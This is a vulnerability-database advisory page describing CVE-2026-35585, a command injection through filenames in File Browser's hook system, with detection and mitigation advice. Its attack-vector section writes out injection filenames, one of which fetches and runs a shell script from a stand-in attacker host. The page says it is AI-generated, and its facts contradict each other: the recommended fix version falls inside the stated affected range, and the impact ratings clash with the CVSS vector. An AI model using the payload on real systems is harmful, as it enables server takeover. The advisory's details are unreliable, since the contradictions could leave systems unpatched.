Join the Cyber Forum: Threat Intel on May 12, 2026 to learn how AI is reshaping threat defense.Join the Virtual Cyber Forum: Threat IntelRegister Now
Experiencing a Breach?Blog
Get StartedContact Us
SentinelOne
  • Platform
    Platform Overview
    • Singularity Platform
      Welcome to Integrated Enterprise Security
    • AI for Security
      Leading the Way in AI-Powered Security Solutions
    • Securing AI
      Accelerate AI Adoption with Secure AI Tools, Apps, and Agents.
    • How It Works
      The Singularity XDR Difference
    • Singularity Marketplace
      One-Click Integrations to Unlock the Power of XDR
    • Pricing & Packaging
      Comparisons and Guidance at a Glance
    Data & AI
    • Purple AI
      Accelerate SecOps with Generative AI
    • Singularity Hyperautomation
      Easily Automate Security Processes
    • AI-SIEM
      The AI SIEM for the Autonomous SOC
    • AI Data Pipelines
      Security Data Pipeline for AI SIEM and Data Optimization
    • Singularity Data Lake
      AI-Powered, Unified Data Lake
    • Singularity Data Lake for Log Analytics
      Seamlessly Ingest Data from On-Prem, Cloud or Hybrid Environments
    Endpoint Security
    • Singularity Endpoint
      Autonomous Prevention, Detection, and Response
    • Singularity XDR
      Native & Open Protection, Detection, and Response
    • Singularity RemoteOps Forensics
      Orchestrate Forensics at Scale
    • Singularity Threat Intelligence
      Comprehensive Adversary Intelligence
    • Singularity Vulnerability Management
      Application & OS Vulnerability Management
    • Singularity Identity
      Identity Threat Detection and Response
    Cloud Security
    • Singularity Cloud Security
      Block Attacks with an AI-Powered CNAPP
    • Singularity Cloud Native Security
      Secure Cloud and Development Resources
    • Singularity Cloud Workload Security
      Real-Time Cloud Workload Protection Platform
    • Singularity Cloud Data Security
      AI-Powered Threat Detection for Cloud Storage
    • Singularity Cloud Security Posture Management
      Detect and Remediate Cloud Misconfigurations
    Securing AI
    • Prompt Security
      Secure AI Tools Across Your Enterprise
  • Why SentinelOne?
    Why SentinelOne?
    • Why SentinelOne?
      Cybersecurity Built for What’s Next
    • Our Customers
      Trusted by the World’s Leading Enterprises
    • Industry Recognition
      Tested and Proven by the Experts
    • About Us
      The Industry Leader in Autonomous Cybersecurity
    Compare SentinelOne
    • Arctic Wolf
    • Broadcom
    • CrowdStrike
    • Cybereason
    • Microsoft
    • Palo Alto Networks
    • Sophos
    • Splunk
    • Trellix
    • Trend Micro
    • Wiz
    Verticals
    • Energy
    • Federal Government
    • Finance
    • Healthcare
    • Higher Education
    • K-12 Education
    • Manufacturing
    • Retail
    • State and Local Government
  • Services
    Managed Services
    • Managed Services Overview
      Wayfinder Threat Detection & Response
    • Threat Hunting
      World-Class Expertise and Threat Intelligence
    • Managed Detection & Response
      24/7/365 Expert MDR Across Your Entire Environment
    • Incident Readiness & Response
      DFIR, Breach Readiness, & Compromise Assessments
    Support, Deployment, & Health
    • Technical Account Management
      Customer Success with Personalized Service
    • SentinelOne GO
      Guided Onboarding & Deployment Advisory
    • SentinelOne University
      Live and On-Demand Training
    • Services Overview
      Comprehensive Solutions for Seamless Security Operations
    • SentinelOne Community
      Community Login
  • Partners
    Our Network
    • MSSP Partners
      Succeed Faster with SentinelOne
    • Singularity Marketplace
      Extend the Power of S1 Technology
    • Cyber Risk Partners
      Enlist Pro Response and Advisory Teams
    • Technology Alliances
      Integrated, Enterprise-Scale Solutions
    • SentinelOne for AWS
      Hosted in AWS Regions Around the World
    • Channel Partners
      Deliver the Right Solutions, Together
    • SentinelOne for Google Cloud
      Unified, Autonomous Security Giving Defenders the Advantage at Global Scale
    • Partner Locator
      Your Go-to Source for Our Top Partners in Your Region
    Partner Portal→
  • Resources
    Resource Center
    • Case Studies
    • Data Sheets
    • eBooks
    • Reports
    • Videos
    • Webinars
    • Whitepapers
    • Events
    View All Resources→
    Blog
    • Feature Spotlight
    • For CISO/CIO
    • From the Front Lines
    • Identity
    • Cloud
    • macOS
    • SentinelOne Blog
    Blog→
    Tech Resources
    • SentinelLABS
    • Ransomware Anthology
    • Cybersecurity 101
  • About
    About SentinelOne
    • About SentinelOne
      The Industry Leader in Cybersecurity
    • Investor Relations
      Financial Information & Events
    • SentinelLABS
      Threat Research for the Modern Threat Hunter
    • Careers
      The Latest Job Opportunities
    • Press & News
      Company Announcements
    • Cybersecurity Blog
      The Latest Cybersecurity Threats, News, & More
    • FAQ
      Get Answers to Our Most Frequently Asked Questions
    • DataSet
      The Live Data Platform
    • S Foundation
      Securing a Safer Future for All
    • S Ventures
      Investing in the Next Generation of Security, Data and AI
  • Pricing
Get StartedContact Us
CVE Vulnerability Database
Vulnerability Database/CVE-2026-35585

CVE-2026-35585: File Browser OS Command Injection RCE Flaw

CVE-2026-35585 is an OS command injection vulnerability in File Browser that enables remote code execution through malicious filenames. This article covers technical details, affected versions, impact, and mitigation.

Published: April 10, 2026

CVE-2026-35585 Overview

File Browser is a web-based file managing interface that allows users to upload, delete, preview, rename, and edit files within a specified directory. A critical OS command injection vulnerability has been discovered in the hook system functionality of File Browser versions 2.0.0 through 2.63.1. The hook system, which executes administrator-defined shell commands on file events such as upload, rename, and delete, fails to properly sanitize variable substitutions for values like $FILE and $USERNAME. This unsanitized expansion via os.Expand allows an attacker with file write permission to craft a malicious filename containing shell metacharacters, causing the server to execute arbitrary OS commands when the hook fires, resulting in Remote Code Execution (RCE).

Critical Impact

An attacker with file write permission can achieve Remote Code Execution on the server by uploading files with specially crafted filenames containing shell metacharacters that are executed when hooks process file events.

Affected Products

  • File Browser versions 2.0.0 through 2.63.1
  • Installations with custom hooks enabled (disabled by default since v2.33.8)

Discovery Timeline

  • 2026-04-07 - CVE-2026-35585 published to NVD
  • 2026-04-08 - Last updated in NVD database

Technical Details for CVE-2026-35585

Vulnerability Analysis

This vulnerability is classified as CWE-78 (Improper Neutralization of Special Elements used in an OS Command), commonly known as OS Command Injection. The flaw exists in File Browser's hook system, which is designed to execute shell commands in response to file operations. The implementation uses Go's os.Expand function to perform variable substitution for dynamic values like filenames and usernames without any sanitization or escaping of shell metacharacters.

When an administrator configures hooks to respond to file events (upload, rename, delete), the hook command template includes variables that are expanded at runtime. Since these variables can contain user-controlled data such as filenames, an attacker can inject shell commands by including metacharacters like semicolons (;), backticks, or command substitution syntax ($(...)) within filenames.

The attack requires file write permission on the File Browser instance, meaning the attacker must have some level of authenticated access. However, once this prerequisite is met, the vulnerability allows complete command execution with the privileges of the File Browser server process.

Root Cause

The root cause lies in the unsafe use of os.Expand for variable substitution in shell commands without proper input sanitization. The function directly expands user-controlled variables like $FILE and $USERNAME into command strings that are subsequently passed to shell execution. No escaping or validation is performed to prevent shell metacharacters from being interpreted as command separators or operators.

Attack Vector

The attack is network-based and requires the attacker to have authenticated access with file write permissions. The exploitation flow involves:

  1. The attacker authenticates to a File Browser instance that has hooks configured for file events
  2. The attacker uploads a file with a malicious filename containing shell metacharacters (e.g., test$(whoami).txt or file; curl attacker.com/shell.sh | bash;.txt)
  3. When the upload hook triggers, the filename is expanded into the hook command without sanitization
  4. The shell interprets the metacharacters, executing the injected commands with the server's privileges

The vulnerability specifically targets the variable substitution mechanism. For detailed technical analysis and proof-of-concept information, see the GitHub Security Advisory GHSA-jvpw-637p-h3pw.

Detection Methods for CVE-2026-35585

Indicators of Compromise

  • Filenames containing shell metacharacters such as ;, |, $(), backticks, or && in File Browser upload directories
  • Unexpected process spawning by the File Browser server process
  • Unusual network connections originating from the File Browser application
  • Evidence of command execution in system logs correlating with file upload times

Detection Strategies

  • Monitor File Browser logs for file operations with suspicious filenames containing shell metacharacters
  • Implement file system monitoring to detect unusual file creations with special characters
  • Deploy endpoint detection rules to identify child process spawning from File Browser executables
  • Review hook configurations to identify potentially vulnerable setups using $FILE or $USERNAME variables

Monitoring Recommendations

  • Enable verbose logging in File Browser to capture all file operation events
  • Configure SIEM rules to alert on filenames containing common command injection patterns
  • Monitor process trees for unexpected shell command execution originating from the File Browser process
  • Implement network monitoring to detect data exfiltration attempts from compromised servers

How to Mitigate CVE-2026-35585

Immediate Actions Required

  • Disable all custom hooks in File Browser installations running versions 2.0.0 through 2.63.1
  • Upgrade to File Browser version 2.33.8 or later where hooks are disabled by default
  • Review existing hook configurations and remove any that use user-controllable variables
  • Audit file upload directories for suspicious filenames that may indicate exploitation attempts
  • Restrict file write permissions to trusted users only

Patch Information

The File Browser maintainers have addressed this vulnerability by disabling the hook feature by default for all installations from version 2.33.8 onwards, including existing installations. Organizations should upgrade to the latest available version and ensure that hooks remain disabled unless absolutely necessary. For additional details, refer to the GitHub Issue #5199 and the GitHub Security Advisory GHSA-jvpw-637p-h3pw.

Workarounds

  • Disable all hooks in the File Browser configuration until an upgrade can be performed
  • Implement filename validation at the application or reverse proxy level to reject filenames containing shell metacharacters
  • Run File Browser in a containerized environment with minimal privileges to limit the impact of command execution
  • Use Web Application Firewall (WAF) rules to block file uploads with suspicious filename patterns

Disclaimer: This content was generated using AI. While we strive for accuracy, please verify critical information with official sources.

  • Vulnerability Details
  • TypeRCE

  • Vendor/TechFile Browser

  • SeverityHIGH

  • CVSS Score7.5

  • EPSS Probability0.78%

  • Known ExploitedNo
  • CVSS Vector
  • CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
  • Impact Assessment
  • ConfidentialityLow
  • IntegrityNone
  • AvailabilityHigh
  • CWE References
  • CWE-78
  • Technical References
  • GitHub Issue #5199

  • GitHub Security Advisory GHSA-jvpw-637p-h3pw
  • Related CVEs
  • CVE-2026-34528: File Browser RCE Vulnerability

  • CVE-2026-35606: File Browser Auth Bypass Vulnerability

  • CVE-2026-35605: File Browser Path Traversal Vulnerability

  • CVE-2026-35604: File Browser Auth Bypass Vulnerability
Default Legacy - Prefooter | Experience the World’s Most Advanced Cybersecurity Platform

Experience the World’s Most Advanced Cybersecurity Platform

See how our intelligent, autonomous cybersecurity platform can protect your organization now and into the future.

Try SentinelOne
  • Get Started
  • Get a Demo
  • Product Tour
  • Why SentinelOne
  • Pricing & Packaging
  • FAQ
  • Contact
  • Contact Us
  • Customer Support
  • SentinelOne Status
  • Language
  • Platform
  • Singularity Platform
  • Singularity Endpoint
  • Singularity Cloud
  • Singularity AI-SIEM
  • Singularity Identity
  • Singularity Marketplace
  • Purple AI
  • Services
  • Wayfinder TDR
  • SentinelOne GO
  • Technical Account Management
  • Support Services
  • Verticals
  • Energy
  • Federal Government
  • Finance
  • Healthcare
  • Higher Education
  • K-12 Education
  • Manufacturing
  • Retail
  • State and Local Government
  • Cybersecurity for SMB
  • Resources
  • Blog
  • Labs
  • Case Studies
  • Videos
  • Product Tours
  • Events
  • Cybersecurity 101
  • eBooks
  • Webinars
  • Whitepapers
  • Press
  • News
  • Ransomware Anthology
  • Company
  • About Us
  • Our Customers
  • Careers
  • Partners
  • Legal & Compliance
  • Security & Compliance
  • Investor Relations
  • S Foundation
  • S Ventures

©2026 SentinelOne, All Rights Reserved.

Privacy Notice Terms of Use

English